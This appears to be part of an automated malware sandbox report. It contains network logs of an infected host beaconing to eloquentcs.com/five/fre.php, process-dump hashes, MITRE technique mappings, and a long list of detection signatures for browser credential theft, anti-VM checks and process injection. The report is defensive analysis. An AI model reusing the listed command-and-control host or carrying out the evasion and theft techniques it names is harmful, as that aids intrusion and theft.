2020-07-19 10:26:40.148 192.168.1.9 [VT] 49175 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-07-19 10:26:40.238 192.168.1.9 [VT] 49177 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-07-19 10:26:40.271 192.168.1.9 [VT] 49178 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-07-19 10:26:40.610 192.168.1.9 [VT] 49176 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-07-19 10:28:19.155 192.168.1.9 [VT] 49195 52.114.74.43 [VT] 443 CN=*.events.data.microsoft.com 1a:c2:39:ff:84:fe:1a:c9:81:f5:45:9a:d0:a0:f2:66:d1:8c:38:c9 TLS 1.2

Suricata HTTP

Timestamp Source IP Source Port Destination IP Destination Port Method Status Hostname URI Content Type User Agent Referrer Length
2020-07-19 10:27:30.421 192.168.1.9 [VT] 49187 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 15
2020-07-19 10:27:31.334 192.168.1.9 [VT] 49189 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 15
2020-07-19 10:27:32.218 192.168.1.9 [VT] 49190 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:27:42.910 192.168.1.9 [VT] 49191 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:27:53.554 192.168.1.9 [VT] 49192 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:28:04.277 192.168.1.9 [VT] 49193 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:28:14.962 192.168.1.9 [VT] 49194 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:28:20.083 192.168.1.9 [VT] 49196 205.185.216.42 [VT] 80 200 ctldl.windowsupdate.com [VT] /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?46c58957ce829b9f application/vnd.ms-cab-compressed Microsoft-CryptoAPI/6.1 None 6894
2020-07-19 10:28:20.852 192.168.1.9 [VT] 49197 93.184.220.29 [VT] 80 200 ocsp.digicert.com [VT] /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D application/ocsp-response Microsoft-CryptoAPI/6.1 None 1507
2020-07-19 10:28:26.512 192.168.1.9 [VT] 49198 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:28:37.262 192.168.1.9 [VT] 49199 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:28:48.034 192.168.1.9 [VT] 49200 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:29:03.421 192.168.1.9 [VT] 49201 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:29:14.096 192.168.1.9 [VT] 49202 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:29:24.854 192.168.1.9 [VT] 49203 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:29:35.560 192.168.1.9 [VT] 49204 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:29:46.326 192.168.1.9 [VT] 49205 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
2020-07-19 10:29:57.038 192.168.1.9 [VT] 49206 103.129.98.58 [VT] 80 404 eloquentcs.com [VT] /five/fre.php text/html Mozilla/4.08 (Charon; Inferno) None 23
Sorry! No dropped Suricata Extracted files.

JA3

Source Source Port Destination Destination Port JA3 Hash JA3 Description
192.168.1.9 49174 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.9 49175 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.9 49176 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.9 49177 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.9 49178 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.9 49195 52.114.74.43 443 d124ae14809abde3528a479fe01a12bd unknown
Sorry! No dropped files.
Sorry! No CAPE files.
Process Name services.exe
PID 472
Dump Size 327680 bytes
Module Path C:\Windows\sysnative\services.exe
Type PE image: 64-bit executable
PE timestamp 2015-04-13 02:02:59
MD5 90d1d6eeee1a9e6f88098a67434e8528
SHA1 7f6a4137e11938c083a95d0aa53c894594f2d181
SHA256 46e0ecaf10e746260a1f81aceb4113132845f6e1163eb6ea4bd9c7a281038ff5
CRC32 77FA7998
Ssdeep 6144:YX+dGqMuImU4Zkt8kjM7vFLFb/2JBH4EtLcN8ZE21udxLIrm:YX+dGluImU4s8m/zMzI
Dump Filename 46e0ecaf10e746260a1f81aceb4113132845f6e1163eb6ea4bd9c7a281038ff5
Download Download Zip

BinGraph Download graph

Defense Evasion Credential Access Collection Privilege Escalation
  • T1116 - Code Signing
    • Signature - invalid_authenticode_signature
  • T1055 - Process Injection
    • Signature - InjectionInterProcess
  • T1045 - Software Packing
    • Signature - packer_unknown_pe_section_name
  • T1003 - Credential Dumping
    • Signature - infostealer_browser
  • T1081 - Credentials in Files
    • Signature - infostealer_browser
  • T1005 - Data from Local System
    • Signature - infostealer_browser
  • T1055 - Process Injection
    • Signature - InjectionInterProcess

    Processing ( 13.491 seconds )

    • 5.895 BehaviorAnalysis
    • 5.261 Suricata
    • 1.065 Static
    • 0.651 NetworkAnalysis
    • 0.215 CAPE
    • 0.188 VirusTotal
    • 0.064 TargetInfo
    • 0.05 Dropped
    • 0.027 ProcDump
    • 0.023 Deduplicate
    • 0.021 AnalysisInfo
    • 0.021 Strings
    • 0.005 Debug
    • 0.005 peid

    Signatures ( 0.6100000000000003 seconds )

    • 0.056 antiav_detectreg
    • 0.046 masquerade_process_name
    • 0.037 antiav_detectfile
    • 0.03 infostealer_ftp
    • 0.023 infostealer_bitcoin
    • 0.021 antivm_vbox_libs
    • 0.02 territorial_disputes_sigs
    • 0.019 antianalysis_detectfile
    • 0.018 infostealer_im
    • 0.016 exec_crash
    • 0.015 antivm_vbox_files
    • 0.013 api_spamming
    • 0.013 decoy_document
    • 0.011 antianalysis_detectreg
    • 0.011 ransomware_files
    • 0.01 infostealer_mail
    • 0.01 predatorthethief_files
    • 0.01 qulab_files
    • 0.009 antiav_avast_libs
    • 0.009 NewtWire Behavior
    • 0.008 Doppelganging
    • 0.007 ransomware_extensions
    • 0.006 antidbg_devices
    • 0.006 antivm_vbox_keys
    • 0.005 exploit_getbasekerneladdress
    • 0.005 exploit_gethaldispatchtable
    • 0.005 antivm_vmware_files
    • 0.005 geodo_banking_trojan
    • 0.004 InjectionCreateRemoteThread
    • 0.004 antiav_bitdefender_libs
    • 0.004 antiav_emsisoft_libs
    • 0.004 antiav_apioverride_libs
    • 0.004 antisandbox_sboxie_libs
    • 0.004 antisandbox_sunbelt_libs
    • 0.004 antivm_generic_disk
    • 0.004 antivm_vmware_libs
    • 0.004 injection_createremotethread
    • 0.004 network_tor
    • 0.004 antivm_vmware_keys
    • 0.003 antiav_bullgaurd_libs
    • 0.003 antiav_qurb_libs
    • 0.003 antiav_nthookengine_libs
    • 0.003 betabot_behavior
    • 0.003 dynamic_function_loading
    • 0.003 kazybot_behavior
    • 0.003 kibex_behavior
    • 0.003 malicious_dynamic_function_loading
    • 0.003 mimics_filetime
    • 0.003 office_com_load
    • 0.003 persistence_autorun
    • 0.003 stealth_timeout
    • 0.003 antivm_parallels_keys
    • 0.003 antivm_vbox_devices
    • 0.003 antivm_xen_keys
    • 0.003 masslogger_files
    • 0.002 InjectionInterProcess
    • 0.002 antidebug_guardpages
    • 0.002 bootkit
    • 0.002 regsvr32_squiblydoo_dll_load
    • 0.002 encrypted_ioc
    • 0.002 exploit_heapspray
    • 0.002 hawkeye_behavior
    • 0.002 office_dotnet_load
    • 0.002 office_wmi_load
    • 0.002 reads_self
    • 0.002 shifu_behavior
    • 0.002 stealth_file
    • 0.002 virus
    • 0.002 antivm_generic_diskreg
    • 0.002 antivm_vpc_keys
    • 0.002 codelux_behavior
    • 0.002 network_cnc_http
    • 0.002 network_torgateway
    • 0.002 obliquerat_files
    • 0.002 rat_pcclient
    • 0.001 InjectionProcessHollowing
    • 0.001 InjectionSetWindowLong
    • 0.001 antiemu_wine_func
    • 0.001 antivm_generic_scsi
    • 0.001 hancitor_behavior
    • 0.001 infostealer_browser
    • 0.001 injection_runpe
    • 0.001 office_vb_load
    • 0.001 stack_pivot
    • 0.001 tinba_behavior
    • 0.001 antisandbox_cuckoo_files
    • 0.001 antisandbox_fortinet_files
    • 0.001 antisandbox_joe_anubis_files
    • 0.001 antisandbox_sunbelt_files
    • 0.001 antisandbox_threattrack_files
    • 0.001 antivm_xen_keys
    • 0.001 antivm_hyperv_keys
    • 0.001 antivm_vpc_files
    • 0.001 ketrican_regkeys
    • 0.001 banker_cridex
    • 0.001 browser_security
    • 0.001 bypass_firewall
    • 0.001 disables_browser_warn
    • 0.001 azorult_mutexes
    • 0.001 network_dns_opennic
    • 0.001 network_tor_service
    • 0.001 revil_mutexes
    • 0.001 dcrat_files
    • 0.001 limerat_regkeys
    • 0.001 modirat_bheavior
    • 0.001 warzonerat_files
    • 0.001 remcos_files
    • 0.001 sniffer_winpcap
    • 0.001 targeted_flame

    Reporting ( 6.177 seconds )

    • 6.129 BinGraph
    • 0.048 MITRE_TTPS